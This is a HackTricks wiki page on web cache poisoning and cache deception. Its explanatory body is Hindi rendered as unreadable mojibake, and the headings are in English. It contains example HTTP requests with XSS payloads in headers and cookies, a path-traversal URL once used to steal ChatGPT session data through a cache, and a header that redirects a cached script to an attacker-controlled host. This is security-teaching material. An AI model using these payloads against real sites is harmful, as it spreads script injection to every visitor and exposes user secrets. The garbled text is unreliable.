.. | ||
cache-poisoning-to-dos.md | ||
README.md |
Cache Poisoning and Cache Deception
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
The difference
рд╡реЗрдм рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдФрд░ рд╡реЗрдм рдХреИрд╢ рдзреЛрдЦрд╛рдзрдбрд╝реА рдХреЗ рдмреАрдЪ рдХреНрдпрд╛ рдЕрдВрддрд░ рд╣реИ?
- рд╡реЗрдм рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдореЗрдВ, рд╣рдорд▓рд╛рд╡рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХреИрд╢ рдореЗрдВ рдХреБрдЫ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рд╛рдордЧреНрд░реА рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ рд╕рд╛рдордЧреНрд░реА рдЕрдиреНрдп рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдХреИрд╢ рд╕реЗ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред
- рд╡реЗрдм рдХреИрд╢ рдзреЛрдЦрд╛рдзрдбрд╝реА рдореЗрдВ, рд╣рдорд▓рд╛рд╡рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдХреБрдЫ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╕рд╛рдордЧреНрд░реА рдХреИрд╢ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдХреИрд╢ рд╕реЗ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред
Cache Poisoning
рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд╛рдЗрдб рдХреИрд╢ рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рд╣реЗрд░рдлреЗрд░ рдХрд░рдирд╛ рд╣реИ рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд, рдЖрдВрд╢рд┐рдХ, рдпрд╛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рд╣реЛрдВред рдкреНрд░рднрд╛рд╡ рдХреА рд╕реАрдорд╛ рдкреНрд░рднрд╛рд╡рд┐рдд рдкреГрд╖реНрда рдХреА рд▓реЛрдХрдкреНрд░рд┐рдпрддрд╛ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рджреВрд╖рд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗрд╡рд▓ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИ рдЬреЛ рдХреИрд╢ рд╕рдВрджреВрд╖рдг рдХреЗ рджреМрд░рд╛рди рдкреГрд╖реНрда рдкрд░ рдЬрд╛рддреЗ рд╣реИрдВред
рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рд╣рдорд▓реЗ рдХрд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХрдИ рдЪрд░рдгреЛрдВ рдореЗрдВ рд╣реЛрддрд╛ рд╣реИ:
- рдЕрдирдХреАрдб рдЗрдирдкреБрдЯ рдХреА рдкрд╣рдЪрд╛рди: рдпреЗ рдРрд╕реЗ рдкреИрд░рд╛рдореАрдЯрд░ рд╣реИрдВ рдЬреЛ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдХреИрд╢ рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИрдВ, рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рд▓реМрдЯрд╛рдИ рдЧрдИ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЗрди рдЗрдирдкреБрдЯ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрдиреНрд╣реЗрдВ рдХреИрд╢ рдХреЛ рд╣реЗрд░рдлреЗрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
- рдЕрдирдХреАрдб рдЗрдирдкреБрдЯ рдХрд╛ рд╢реЛрд╖рдг: рдЕрдирдХреАрдб рдЗрдирдкреБрдЯ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЕрдЧрд▓рд╛ рдХрджрдо рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╣реИ рдХрд┐ рдЗрди рдкреИрд░рд╛рдореАрдЯрд░реЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рдП рддрд╛рдХрд┐ рд╕рд░реНрд╡рд░ рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд▓рд╛рдн рд╣реЛред
- рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдХрд┐ рджреВрд╖рд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреИрд╢ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИ: рдЕрдВрддрд┐рдо рдЪрд░рдг рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рд╣реИ рдХрд┐ рд╣реЗрд░рдлреЗрд░ рдХреА рдЧрдИ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреИрд╢ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИред рдЗрд╕ рддрд░рд╣, рдкреНрд░рднрд╛рд╡рд┐рдд рдкреГрд╖реНрда рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдХреЛрдИ рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬрдм рдХреИрд╢ рд╕рдВрджреВрд╖рд┐рдд рд╣реЛ, рддреЛ рджреВрд╖рд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдЧрд╛ред
Discovery: Check HTTP headers
рдЖрдорддреМрд░ рдкрд░, рдЬрдм рдПрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреИрд╢ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИ рддреЛ рдПрдХ рд╣реЗрдбрд░ рдРрд╕рд╛ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИ, рдЖрдк рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдкрдХреЛ рдХрд┐рди рд╣реЗрдбрд░реЛрдВ рдкрд░ рдзреНрдпрд╛рди рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдП: HTTP Cache headers.
Discovery: Caching error codes
рдпрджрд┐ рдЖрдк рд╕реЛрдЪ рд░рд╣реЗ рд╣реИрдВ рдХрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреИрд╢ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛ рд░рд╣реА рд╣реИ, рддреЛ рдЖрдк рдЦрд░рд╛рдм рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕реЗ рд╕реНрдерд┐рддрд┐ рдХреЛрдб 400 рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдПред рдлрд┐рд░ рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рдЕрдиреБрд░реЛрдз рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдФрд░ рдпрджрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ 400 рд╕реНрдерд┐рддрд┐ рдХреЛрдб рд╣реИ, рддреЛ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИ (рдФрд░ рдЖрдк рдпрд╣рд╛рдВ рддрдХ рдХрд┐ DoS рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред
рдЖрдк рдЕрдзрд┐рдХ рд╡рд┐рдХрд▓реНрдк рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:
{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}
рд╣рд╛рд▓рд╛рдВрдХрд┐, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХрднреА-рдХрднреА рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ рд╕реНрдерд┐рддрд┐ рдХреЛрдб рдХреИрд╢ рдирд╣реАрдВ рд╣реЛрддреЗ рдЗрд╕рд▓рд┐рдП рдпрд╣ рдкрд░реАрдХреНрд╖рдг рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдирд╣реАрдВ рд╣реЛ рд╕рдХрддрд╛ред
Discovery: Identify and evaluate unkeyed inputs
рдЖрдк Param Miner рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдкреИрд░рд╛рдореАрдЯрд░ рдФрд░ рд╣реЗрдбрд░ рдХреЛ рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЛ рдкреГрд╖реНрда рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдкреГрд╖реНрда X-Forwarded-For
рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрд╣ рд╕рдВрдХреЗрдд рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рд╡рд╣рд╛рдВ рд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░рдирд╛ рд╣реИ:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░ рд╕реЗ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
рдкреИрд░рд╛рдореАрдЯрд░/рд╣реЗрдбрд░ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдпрд╣ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдЗрд╕реЗ рд╕реИрдирд┐рдЯрд╛рдЗрдЬ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рдФрд░ рдпрд╣ рдХрд╣рд╛рдБ рдкреНрд░рддрд┐рдмрд┐рдВрдмрд┐рдд рд╣реЛ рд░рд╣рд╛ рд╣реИ рдпрд╛ рд╣реЗрдбрд░ рд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реИред рдХреНрдпрд╛ рдЖрдк рдЗрд╕реЗ рдХрд┐рд╕реА рднреА рддрд░рд╣ рд╕реЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдПрдХ XSS рдкреНрд░рджрд░реНрд╢рди рдХрд░реЗрдВ рдпрд╛ рдПрдХ JS рдХреЛрдб рд▓реЛрдб рдХрд░реЗрдВ рдЬрд┐рд╕реЗ рдЖрдк рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ? рдПрдХ DoS рдкреНрд░рджрд░реНрд╢рди рдХрд░реЗрдВ?...)
рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдХреИрд╢ рдХрд░реЗрдВ
рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк рдЙрд╕ рдкреГрд╖реНрда рдХреА рдкрд╣рдЪрд╛рди рдХрд░ рд▓реЗрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдХрд┐рд╕ рдкреИрд░рд╛рдореАрдЯрд░/рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реИ рдФрд░ рдХреИрд╕реЗ рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдкреГрд╖реНрда рдХреЛ рдХреИрд╢ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдЬрд┐рд╕ рд╕рдВрд╕рд╛рдзрди рдХреЛ рдЖрдк рдХреИрд╢ рдореЗрдВ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЙрд╕рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЗрд╕рдореЗрдВ рдХреБрдЫ рд╕рдордп рд▓рдЧ рд╕рдХрддрд╛ рд╣реИ, рдЖрдкрдХреЛ рдХрдИ рд╕реЗрдХрдВрдб рддрдХ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред
рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ X-Cache
рд╣реЗрдбрд░ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдореЗрдВ miss
рдХрд╛ рдорд╛рди рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдЕрдиреБрд░реЛрдз рдХреИрд╢ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдорд╛рди hit
рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдЗрд╕реЗ рдХреИрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
Cache-Control
рд╣реЗрдбрд░ рднреА рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рд╕рдВрд╕рд╛рдзрди рдХреИрд╢ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЕрдЧрд▓реА рдмрд╛рд░ рдХрдм рд╕рдВрд╕рд╛рдзрди рдлрд┐рд░ рд╕реЗ рдХреИрд╢ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛: Cache-Control: public, max-age=1800
рдПрдХ рдФрд░ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЗрдбрд░ Vary
рд╣реИред рдпрд╣ рд╣реЗрдбрд░ рдЕрдХреНрд╕рд░ рдЕрддрд┐рд░рд┐рдХреНрдд рд╣реЗрдбрд░реНрд╕ рдХреЛ рд╕рдВрдХреЗрддрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдХреИрд╢ рдХреБрдВрдЬреА рдХреЗ рднрд╛рдЧ рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рднрд▓реЗ рд╣реА рд╡реЗ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдЕрдирдХреБрдВрдЬреАрдХреГрдд рд╣реЛрдВред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЙрд╕ рд▓рдХреНрд╖реНрдп рдХреЗ рд╢рд┐рдХрд╛рд░ рдХреА User-Agent
рдЬрд╛рдирддрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдЙрд╕ рд╡рд┐рд╢реЗрд╖ User-Agent
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдХреИрд╢ рдХреЛ рд╡рд┐рд╖рд╛рдХреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред
рдХреИрд╢ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдПрдХ рдФрд░ рд╣реЗрдбрд░ Age
рд╣реИред рдпрд╣ рдЙрди рд╕реЗрдХрдВрдбреЛрдВ рдореЗрдВ рд╕рдордп рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрдм рд╡рд╕реНрддреБ рдкреНрд░реЙрдХреНрд╕реА рдХреИрд╢ рдореЗрдВ рд░рд╣реА рд╣реИред
рдЕрдиреБрд░реЛрдз рдХреЛ рдХреИрд╢ рдХрд░рддреЗ рд╕рдордп, рдЖрдк рдЬрд┐рди рд╣реЗрдбрд░реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рдЙрдирдХреЗ рд╕рд╛рде рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВ рдХреНрдпреЛрдВрдХрд┐ рдЙрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдЕрдирдкреЗрдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдХреАрдб рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╢рд┐рдХрд╛рд░ рдХреЛ рдЙрд╕реА рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред рд╣рдореЗрд╢рд╛ рд╡рд┐рднрд┐рдиреНрди рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рд╕рд╛рде рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИред
рд╢реЛрд╖рдг рдХреЗ рдЙрджрд╛рд╣рд░рдг
рд╕рдмрд╕реЗ рдЖрд╕рд╛рди рдЙрджрд╛рд╣рд░рдг
рдПрдХ рд╣реЗрдбрд░ рдЬреИрд╕реЗ X-Forwarded-For
рдХреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЕрд╕реИрдирд┐рдЯрд╛рдЗрдЬреНрдб рд░реВрдк рд╕реЗ рдкреНрд░рддрд┐рдмрд┐рдВрдмрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред
рдЖрдк рдПрдХ рдмреБрдирд┐рдпрд╛рджреА XSS рдкреЗрд▓реЛрдб рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХреИрд╢ рдХреЛ рд╡рд┐рд╖рд╛рдХреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЬреЛ рдХреЛрдИ рднреА рдкреГрд╖реНрда рддрдХ рдкрд╣реБрдБрдЪрддрд╛ рд╣реИ рд╡рд╣ XSS рд╣реЛ рдЬрд╛рдПрдЧрд╛:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Note that this will poison a request to /en?region=uk
not to /en
Cache poisoning to DoS
{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}
Using web cache poisoning to exploit cookie-handling vulnerabilities
рдХреБрдХреАрдЬрд╝ рдХреЛ рднреА рдПрдХ рдкреГрд╖реНрда рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкрд░ рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрджрд┐ рдЖрдк рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП XSS рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрди рдХрдИ рдХреНрд▓рд╛рдЗрдВрдЯреНрд╕ рдореЗрдВ XSS рдХрд╛ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреИрд╢ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВред
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдХрдордЬреЛрд░ рдХреБрдХреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдмрд╣реБрдд рдЕрдзрд┐рдХ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдирд┐рдпрдорд┐рдд рдЕрдиреБрд░реЛрдз рдХреИрд╢ рдХреЛ рд╕рд╛рдл рдХрд░ рджреЗрдВрдЧреЗред
рдкрде рдЯреНрд░реИрд╡рд░реНрд╕рд▓ рдХреЗ рд╕рд╛рде рдХреИрд╢ рдЬрд╣рд░ рджреЗрдирд╛ API рдХреБрдВрдЬреА рдЪреБрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП
рдпрд╣ рд▓реЗрдЦ рдмрддрд╛рддрд╛ рд╣реИ рдХрд┐ рдХреИрд╕реЗ рдПрдХ URL рдЬреИрд╕реЗ https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
рдХреЗ рд╕рд╛рде OpenAI API рдХреБрдВрдЬреА рдЪреБрд░рд╛рдирд╛ рд╕рдВрднрд╡ рдерд╛ рдХреНрдпреЛрдВрдХрд┐ /share/*
рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реА рдХреЛрдИ рднреА рдЪреАрдЬрд╝ рдХреИрд╢ рдХреА рдЬрд╛рдПрдЧреА рдмрд┐рдирд╛ Cloudflare рджреНрд╡рд╛рд░рд╛ URL рдХреЛ рд╕рд╛рдорд╛рдиреНрдп рдХрд┐рдП, рдЬреЛ рддрдм рдХрд┐рдпрд╛ рдЧрдпрд╛ рдЬрдм рдЕрдиреБрд░реЛрдз рд╡реЗрдм рд╕рд░реНрд╡рд░ рддрдХ рдкрд╣реБрдВрдЪрд╛ред
рд╡реЗрдм рдХреИрд╢ рдЬрд╣рд░ рджреЗрдиреЗ рдХреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛
рдХрднреА-рдХрднреА рдЖрдкрдХреЛ рдХреИрд╢ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдЕрдирдХреАрдж рдЗрдирдкреБрдЯреНрд╕ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдЖрдк X-Forwarded-Host
рдХреЛ рдПрдХ рдбреЛрдореЗрди рдкрд░ рд╕реЗрдЯ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реИ рдФрд░ X-Forwarded-Scheme
рдХреЛ http
рдкрд░ рд╕реЗрдЯ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдПрдХ рдУрдкрди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рд╕рд░реНрд╡рд░ рд╕рднреА HTTP рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ HTTPS рдкрд░ рдлреЙрд░рд╡рд░реНрдб рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХреЗ рд▓рд┐рдП рдбреЛрдореЗрди рдирд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ X-Forwarded-Scheme
рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИред рдЖрдк рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рджреНрд╡рд╛рд░рд╛ рдкреГрд╖реНрда рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд╕реНрдерд╛рди рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
